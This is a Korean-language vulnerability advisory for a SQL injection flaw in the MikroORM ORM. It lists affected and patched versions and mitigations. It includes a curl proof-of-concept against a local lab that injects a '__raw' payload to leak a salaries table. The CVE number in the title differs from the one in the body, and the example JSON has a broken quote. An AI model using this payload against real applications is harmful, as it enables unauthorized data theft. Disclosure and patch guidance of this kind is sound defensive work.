업데이트로 돌아가기
UpdatedSep 2, 2026

CVE-2026-34220 — Updated!

MikroORM의 SQL 인젝션 취약점

공유

CVE-2026-43220 MikroORM SQL 인젝션

★ CVE-2026-43220 MikroORM SQL 인젝션 PoC ★

https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1


개요

CVE-2026-43220은 널리 사용되는 TypeScript/Node.js ORM 프레임워크인 MikroORMSQL 인젝션 취약점입니다.
__raw 속성을 포함하는 사용자 제공 값이 검증 없이 Custom Type 컬럼에 전달되면, MikroORM의 isRaw() 검사가 이를 신뢰할 수 있는 내부 Raw SQL 표현식으로 식별하고, 공격자가 제어하는 sql 값을 타입 변환이나 정제 없이 생성된 쿼리에 직접 삽입하여 임의 SQL이 의도치 않게 실행되도록 합니다.


영향받는 버전

CategoryVersion
취약MikroORM version ≤ 6.4.3 & 7.0.0 ≤ version ≤ 7.0.5
패치됨MikroORM 6.4.4 & 7.0.6

영향

  • 권한 없이 데이터베이스에서 민감한 데이터 유출
  • 기존 데이터베이스 레코드의 손상 또는 의도치 않은 수정

환경

docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln

PoC

취약한 환경을 시작한 후, 아래 단계에 따라 공격을 재현하세요.

Step 1. __raw를 포함한 악성 페이로드로 요청 전송

Custom Type 컬럼을 대상으로 하는 __raw 속성을 포함한 JSON 본문을 전송합니다.

curl -X POST http://localhost:3000/write \
  -H "Content-Type: application/json" \
  -d '{
    "author":"x",
    "title":"x,
    "content": {
      "__raw": true,
      "sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
    }
  }'

Step 2. HTTP 응답 확인

API가 오류 없이 성공적인 응답을 반환하는지 확인합니다. 이는 MikroORM이 악성 페이로드를 유효한 값으로 수락했음을 나타냅니다.

Step 3. 민감한 데이터가 게시물 내용에 유출되었는지 확인

생성된 게시물의 content 필드에 salaries 테이블의 쿼리 결과 (예: Alice: 5000 / Bob: 7000 / ...)가 포함되어 있는지 확인합니다. 이는 관련 없는 테이블의 데이터가 오류나 접근 제어 위반 없이 응답에 조용히 삽입되었음을 확인시켜 줍니다.


완화 방안

  • MikroORM 6.4.4 이상으로 업그레이드하세요. 이 버전은 isRaw()에 출처 검증을 도입하여 외부에서 제공된 __raw 속성을 거부합니다.
  • ORM 계층에 값을 전달하기 전에 __raw와 같은 예상치 못한 속성을 거부하는 화이트리스트 기반 입력 검증을 적용하세요.

분석

카테고리